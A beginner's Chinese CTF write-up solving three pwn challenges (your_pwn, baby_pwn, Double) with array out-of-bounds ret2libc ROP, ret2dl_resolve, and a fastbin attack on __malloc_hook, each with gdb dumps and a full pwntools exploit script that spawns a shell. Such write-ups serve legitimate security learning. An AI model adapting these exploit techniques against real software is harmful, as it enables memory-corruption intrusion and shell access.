|
新手第一次参加比赛,这次比赛做出三道题,第一天的your_pwn和第二天的baby_pwn、Double,第一天的daily当时可惜没有做出来。。另外还有两道bms和Virtual确实难度有点大不会做。所以分享做出来的三道题
漏洞点

读取数组索引的时候没有限制,所以会引发数组越界漏洞,造成栈空间任意地址读写,所以思路是先泄露栈中的某个返回地址,获取函数装载基地址,就可以计算出plt表和got表的地址,然后再改返回地址进行ROP即可
调试信息如下:可以算出返回地址相对数组起始地址的偏移
gdb-peda$ x/120xg $rsp
0x7fffffffda20: 0x0000015c55000000 0x0000000700000055
0x7fffffffda30: 0x0000000000030201 0x0000000000000000 <- 数组起始
0x7fffffffda40: 0x0000000000000000 0x0000000000000000
...
0x7fffffffdb50: 0x0000000000000000 0x0000000000000000
0x7fffffffdb60: 0x0000000000000000 0x0000000000000000
0x7fffffffdb70: 0x0000000000000000 0x633df2e251a0f000
0x7fffffffdb80: 0x00007fffffffdca0 0x0000555555554b0b <- 子函数返回地址db88
0x7fffffffdb90: 0x0000000a61616161 0x0000000000000000
...
0x7fffffffdc90: 0x00007fffffffdd80 0x633df2e251a0f000
0x7fffffffdca0: 0x0000555555554ca0 0x00007ffff7a2d830 <- main返回地址dca8
0x7fffffffdcb0: 0x0000000000000000 0x00007fffffffdd88
offset_返回地址 = 0xdb88 - 0xda30 = 344 (0x158)
offset_main返回地址 = 0xdca8 - 0xda30 = 632
尝试了一下,改写sub_B35的返回地址好像不行,所以我选择改写main函数的返回地址来ROP(return to libc)
完整exp
from pwn import *
if args['REMOTE']:
p = remote('1b190bf34e999d7f752a35fa9ee0d911.kr-lab.com',57856)
else:
p = process('./pwn')
elf = ELF('./pwn')
libc = elf.libc
def read(index):
p.sendlineafter('input index',str(index))
p.recvuntil('now value(hex) ')
for i in range(4):
value = p.recvn(2)
if value != 'ff':
break
if ord(value[1]) == 10:
value = '0'+value[0:1]
new_value = int(value,16)
p.sendlineafter('input new value',str(new_value))
return value
def write(index,new_value):
p.sendlineafter('input index',str(index))
p.sendlineafter('input new value',str(new_value))
def leak_addr():
addr = read(349)
addr += read(348)
addr += read(347)
addr += read(346)
addr += read(345)
addr += read(344)
addr = int(addr,16)-2833
return addr
def write_addr(offset,addr):
write(offset+0,int(addr[-2:],16))
write(offset+1,int(addr[-4:-2],16))
write(offset+2,int(addr[-6:-4],16))
write(offset+3,int(addr[-8:-6],16))
write(offset+4,int(addr[-10:-8],16))
write(offset+5,int(addr[-12:-10],16))
def leak_libc():
log.success(puts_plt)
log.success(str(len(puts_plt)))
write_addr(632,hex(pop_rdi))
write_addr(640,puts_got)
write_addr(648,puts_plt)
write_addr(656,hex(start))
for i in range(41-6-6-6-6-6):
write(0,1)
p.sendlineafter('do you want continue(yes/no)?','no')
p.recvn(2)
puts_addr = u64(p.recvn(6).ljust(8,'\x00'))
return puts_addr
def get_shell(system_addr,binsh):
p.sendlineafter('name:','sunxiaokong')
write_addr(632,hex(pop_rdi))
write_addr(640,hex(binsh))
write_addr(648,hex(system_addr))
for i in range(41-6-6-6):
write(0,1)
if __name__ == '__main__':
p.sendlineafter('name:','lzx')
elf.address = leak_addr()
log.success('program address : ' + hex(elf.address))
puts_plt = hex(elf.plt['puts'])
puts_got = hex(elf.got['puts'])
puts_offset = libc.symbols['puts']
log.success(puts_plt)
pop_rdi = elf.address + 0x0000000000000d03
sub_B35 = elf.address + 0xb35
start = elf.address+0x950
puts_addr = leak_libc()
libc.address = puts_addr - puts_offset
log.success('libc address : ' + hex(libc.address))
system_addr = libc.symbols['system']
binsh = next(libc.search('/bin/sh'))
get_shell(system_addr,binsh)
p.interactive()
参考资料
return_to_libc的参考资料如下:
https://www.freebuf.com/articles/rookie/182894.html
https://segmentfault.com/a/1190000007406442
漏洞点

就很明显的栈溢出,。但是程序中只有read函数可以利用,所以不能进行常规的ret_to_libc,只能用ret_2_dl_resolve。这道题和0ctf2016的babystack基本上是一样的,gdb调试确定偏移,然后用return to _dl_resolve即可
exp
import roputils
from pwn import *
read_plt = 0x08048390
bss = 0x0804a040
vul = 0x0804852d
if args['REMOTE']:
p = remote('da61f2425ce71e72c1ef02104c3bfb69.kr-lab.com',33865)
else:
p = process('./pwn')
def getReloc(elf, base):
jmprel = elf.dynamic('JMPREL')
relent = elf.dynamic('RELENT')
addr_reloc, padlen_reloc = elf.align(base, jmprel, relent)
reloc_offset = addr_reloc - jmprel
return reloc_offset
rop = roputils.ROP('./pwn')
addr_bss = rop.section('.bss')
payload1 = 'A' * 44
payload1 += p32(read_plt) + p32(vul) + p32(0) + p32(addr_bss) + p32(100)
p.send(payload1)
payload2 = rop.string('/bin/sh')
payload2 += rop.fill(20, payload2)
payload2 += rop.dl_resolve_data(addr_bss+20, 'system')
payload2 += rop.fill(100, payload2)
p.send(payload2)
payload3 = 'A'*44 + rop.dl_resolve_call(addr_bss+20, addr_bss)
p.send(payload3)
p.interactive()
参考资料
关于ret_to_dl_resolve可以参考以下链接,都比较详细
http://rk700.github.io/2015/08/09/return-to-dl-resolve/
http://pwn4.fun/2016/11/09/Return-to-dl-resolve/
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/advanced-rop/#ret2_dl_runtime_resolve
程序逻辑
程序维护了一个单向链表,有两个全局变量,一个全局变量是链表头,一个全局变量是链表尾。链表节点结构体如下:

漏洞点:

如果连续两个申请的content的内容是一样的话,两个结构体的content指针是会指向同一个chunk的,这样就会造成两个指针同时指向同一个chunk,可以类似UAF一样利用
利用思路
先连续申请两个相同的content,大小为unsorted bin的chunk大小,这样,free掉其中一个,把另一个打印出来时就会泄露出main_arena中的某个地址,可以推出libc的地址。然后再连续申请两个相同的content,大小为fastbin的chunk大小,free掉其中一个,使用edit功能修改另一个的content时,就可以修改fastbin中那个chunk的fd指针,使其指向malloc_hook附近,再连续分配两次,就可以分到一个malloc_hook附近的fake_chunk,第二次申请的时候顺便用onegadget填充malloc_hook即可。
泄露libc
unsortedbin
all: 0x916020 — 0x7fb1ba0c3b78 (main_arena+88) — 0x916020
....
0x7fb1b9cff000 0x7fb1b9ebf000 r-xp 1c0000 0 /lib/x86_64-linux-gnu/libc-2.23.so
0x7fb1a0c3b78就是泄露出来的地址,0x7fb1b9cff000就是libc的装载基地址,可以计算出偏移
修改fd,分配到malloc_hook附近
pwndbg> x/14xg 0x7f85ad672b10-0x40
0x7f85ad672ad0 <_IO_wide_data_0+272>: 0x0000000000000000 0x0000000000000000
0x7f85ad672ae0 <_IO_wide_data_0+288>: 0x0000000000000000 0x0000000000000000
0x7f85ad672af0 <_IO_wide_data_0+304>: 0x00007f85ad671260 0x0000000000000000 <<<---fake_chunk->size
0x7f85ad672b00 <__memalign_hook>: 0x00007f85ad333e20 0x00007f85ad333a00
0x7f85ad672b10 <__malloc_hook>: 0x0000000000000000 0x0000000000000000 <<<-----malloc_hook
0x7f85ad672b20 <main_arena>: 0x0000000000000000 0x0000000000000000
0x7f85ad672b30 <main_arena+16>: 0x0000000000000000 0x0000000000000000
上面第一个箭头指的地方,0x7f85ad672af5这个地址可以作为 fake chunk 的size域
可得:
fake_chunk->size = 0x7f85ad672af5
malloc_hook = 0x7f85ad672b10
offset = 0x7f85ad672b10 - 0x7f85ad672af5 = 0x1b + 0x10 = 0x2b
最后调用malloc触发onegadget即可
exp
from pwn import *
if args['REMOTE']:
p = remote('e095ff54e419a6e01532dee4ba86fa9c.kr-lab.com',40002)
else:
p = process('./pwn')
elf = ELF('./pwn')
libc = elf.libc
def new(content):
p.sendlineafter('> ','1')
p.sendlineafter('Your data:',content)
def show(index):
p.sendlineafter('> ','2')
p.sendlineafter('Info index: ',str(index))
def edit(index,new_content):
p.sendlineafter('> ','3')
p.sendlineafter('Info index: ',str(index))
p.sendline(new_content)
def delete(index):
p.sendlineafter('> ','4')
p.sendlineafter('Info index: ',str(index))
def leak_libc():
new('a'*128)
new('a'*128)
delete(0)
show(1)
libc_addr = u64(p.recvn(6).ljust(8,'\x00')) - 0x3c4b78
return libc_addr
def ow_free_hook(fake_chunk,one_gadget):
new('b'*0x60)
new('b'*0x60)
delete(2)
payload1 = p64(fake_chunk).ljust(0x60,'\x00')
edit(3,payload1)
payload2 = 'a'*(0x13)+p64(one_gadget)
payload2 = payload2.ljust(0x60,'\x00')
new('c'*0x60)
new(payload2)
if __name__ == '__main__':
libc.address = leak_libc()
log.success(hex(libc.address))
malloc_hook = libc.symbols['__malloc_hook']
fake_chunk = malloc_hook - 0x1b -8
log.success('__malloc_hook : ' + hex(malloc_hook))
one_gadget = libc.address + 0x4526a
ow_free_hook(fake_chunk,one_gadget)
p.sendlineafter('> ','1')
gdb.attach(p)
p.interactive()
参考资料
类似本题中第一阶段利用 unsorted bin 泄露libc基地址的题:
https://github.com/susers/Writeups/blob/master/2017/厦门邀请赛/Pwn/pwn2/exp.py
类似本题中第二阶段 fastbin attack 同样利用方式的题:
https://bbs.pediy.com/thread-223461.htm
http://lvtao.pro/2018/11/10/fastbin-attack-2017-0ctf-babyheap/
|